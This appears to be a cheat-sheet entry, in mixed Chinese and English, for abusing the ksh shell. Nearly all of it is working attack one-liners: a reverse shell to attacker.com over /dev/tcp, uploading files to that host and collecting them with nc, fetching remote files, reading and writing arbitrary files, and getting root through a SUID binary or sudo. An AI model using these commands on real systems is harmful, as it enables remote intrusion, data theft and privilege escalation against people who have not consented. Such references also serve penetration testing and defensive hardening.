用来生成一个交互式的系统shell。
ksh
向监听的端口发送反向shell,以打开远程网络访问。
nc -l -p 12345
on the attacker box to receive the shell. export RHOST=attacker.com
export RPORT=12345
ksh -c 'ksh -i > /dev/tcp/$RHOST/$RPORT 2>&1 0>&1'
上传文件到外部。
export RHOST=attacker.com
export RPORT=12345
export LFILE=要发送的文件
ksh -c 'echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT'
Send local file using a TCP connection. Run nc -l -p 12345 > "file_to_save"
on the attacker box to collect the file. export RHOST=attacker.com
export RPORT=12345
export LFILE=要发送的文件
ksh -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'
下载远程文件。
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_get
ksh -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \
3<>/dev/tcp/$RHOST/$RPORT \
| { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'
Fetch remote file using a TCP connection. Run nc -l -p 12345 < "要发送的文件"
on the attacker box to send the file. export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_get
ksh -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'
将数据写入文件中。
export LFILE=要写入的文件
ksh -c 'echo DATA > $LFILE'
从文件中读取数据。
export LFILE=要读取的文件路径
ksh -c 'echo "$(<$LFILE)"'
It trims trailing newlines. export LFILE=要读取的文件路径
ksh -c $'read -r -d \x04 < "$LFILE"; echo "$REPLY"'
suid是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。
./ksh -p
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
sudo ksh